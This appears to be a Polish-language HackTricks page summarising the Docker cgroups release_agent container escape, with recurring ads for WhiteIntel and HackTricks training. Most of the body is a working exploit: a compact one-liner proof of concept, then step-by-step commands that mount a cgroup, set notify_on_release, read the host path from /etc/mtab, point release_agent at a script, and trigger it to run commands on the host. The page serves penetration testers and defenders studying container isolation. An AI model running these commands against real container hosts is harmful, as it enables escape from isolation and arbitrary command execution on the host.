Docker release_agent cgroups escape

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


Aby uzyskać więcej szczegółów, zajrzyj do oryginalnego posta na blogu. To tylko streszczenie:

Początkowy PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Dowód koncepcji (PoC) demonstruje metodę wykorzystania cgroups poprzez utworzenie pliku release_agent i wywołanie go w celu wykonania dowolnych poleceń na hoście kontenera. Oto podział na kroki zaangażowane:

  1. Przygotowanie środowiska:

  • Utworzono katalog /tmp/cgrp jako punkt montowania dla cgroup.

  • Kontroler cgroup RDMA jest montowany do tego katalogu. W przypadku braku kontrolera RDMA zaleca się użycie kontrolera cgroup memory jako alternatywy.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Skonfiguruj podrzędny Cgroup:

  • Wewnątrz zamontowanego katalogu cgroup tworzony jest podrzędny cgroup o nazwie "x".

  • Włączenie powiadomień dla cgroup "x" poprzez zapisanie wartości 1 do pliku notify_on_release.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Skonfiguruj agenta wydania:

  • Ścieżka kontenera na hoście jest pobierana z pliku /etc/mtab.

  • Następnie plik release_agent cgroup jest skonfigurowany do wykonania skryptu o nazwie /cmd znajdującego się pod uzyskaną ścieżką hosta.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Utwórz i skonfiguruj skrypt /cmd:

  • Skrypt /cmd jest tworzony wewnątrz kontenera i skonfigurowany do wykonania polecenia ps aux, przekierowując wynik do pliku o nazwie /output w kontenerze. Określona jest pełna ścieżka /output na hoście.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Wywołaj atak:

  • Proces jest uruchamiany w obrębie grupy potomnej "x" i natychmiast jest zatrzymywany.

  • To powoduje uruchomienie release_agent (skryptu /cmd), który wykonuje polecenie ps aux na hoście i zapisuje wynik do /output wewnątrz kontenera.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzenia, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated